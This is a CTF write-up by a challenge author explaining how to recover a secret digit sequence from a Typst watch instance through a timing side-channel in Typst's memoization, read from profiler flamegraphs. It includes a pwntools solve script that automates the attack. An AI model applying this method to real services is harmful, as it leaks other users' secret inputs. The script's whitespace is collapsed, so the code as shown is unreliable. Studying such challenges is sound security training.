Typst lotto is a misc challenge I authored in GlacierCTF 2025. Some hours
before the CTF end it had 20 solves.
In this challenge you get an instance that runs typst watch. Then, an “admin”
compiles documents with random numbers. After the admin has compiled the
document with a random number, the player can further compile documments. The
goal is to recover the secret sequence that the admin wrote (15 random numbers
from 0 to 9).
The solution here is an easy timing side-channel on the Typst memoization
engine. The challenge provides the flamegraph (timings) of typst watch which
we can use to measure the time each function takes when building the document.
Typst memoizes a lot, that’s one of the reasons its so fast. From a local
testing environment, we can observe that if we compile a random secret number
and then we compile documents for all possible numbers, one of them is faster.
For example, this is the flamegraph of the wrong number:
This is the flamegraph for a correct number:
Functions under the pdf section are much shorter on the correct one, as they
are cached. On the attached image it does not show that well, but on a wrong
number “write fonts” takes 1.832ms, while for the correct number it takes
43.01µs.
We can make use of this timing side-channel to obtain the correct numbers.
There can also be the case where its empty (or almost empty IIRC), signaling
that typst did not compile as our previous compilation (or N past compilations)
already had the exact same input file. In that case, if I remember correctly,
you observe that the returned json is much shorter (calls much less functions).
Soo, for each admin-generated number, you iterate through 0-9 and try to
compile an equivalent document, capturing the timing traces to measure the
timing differences between correct and incorrect ones.
built_counter=-1ADMIN_DOCUMENT="""
{input1}{input2}"""defupload(n:int,j:int):globalbuilt_counterd=ADMIN_DOCUMENT.format(input1=j,input2=n).encode()io.sendlineafter(b"[>] Choose an option:",str(1).encode())enc=base64.b64encode(d)io.sendlineafter(b"--- BASE64 INPUT START ---",enc)io.sendline(b"@")io.recvuntil(b"--- BASE64 INPUT END ---")io.recvuntil(b"Document built")built_counter+=1defdownload():globalbuilt_counterdfile=f"profile/{built_counter}.json".encode()io.sendlineafter(b"[>] Choose an option:",str(2).encode())io.sendlineafter(b"[>] Choose a file to download",dfile)io.recvuntil(b"[+] --- "+dfile+b" OUTPUT START ---")out=io.recvuntil(b"[+] --- "+dfile+b" OUTPUT END ---")out=out.split(b"[+]")[0].decode()j=json.loads(out)io.recvuntil(b"[+] Menu")returnj,outdefextract_subset_font(j):# Cached file by hashiflen(j)<42:return0s1=j[41]assert(s1['name']=='subset font')assert(s1['ph']=='B')s2=j[42]assert(s2['name']=='subset font')assert(s2['ph']=='E')dif=float(s2['ts'])-float(s1['ts'])returnround(dif,3)defcont():io.sendlineafter(b"3. Continue",b"3")deflt(num):return(num<100)and(num>0)DIFFICULTY=15space=[0,1,2,3,4,5,6,7,8,9]io=Nonedefexploit():globalbuilt_counterglobaliobuilt_counter=-1io=start()foriinrange(DIFFICULTY):built_counter+=2log.info(f"Iteration {i} of {DIFFICULTY}")guess={}forsinspace:upload(s,i)j,d=download()t=extract_subset_font(j)guess[s]=tprint(f" {s}: {t}")ifmin(guess.values())>100orlen(list(filter(lt,guess.values())))>1:log.warn("Restarting... results no bueno")io.close()exploit()# brrr ez restartcont()m=min(guess,key=guess.get)log.success(f"Guessed character is {m}")io.sendlineafter(b"[>] Take a guess: ",str(m).encode())io.recvuntil(b"[+] Keep going...")f=find_flag(io.recvall(timeout=5))iffisnotNone:log.success(f)exit(0)else:exit(1)exploit()
The exploit is not reliable 100%, probably it can get more reliable with some
extra effort.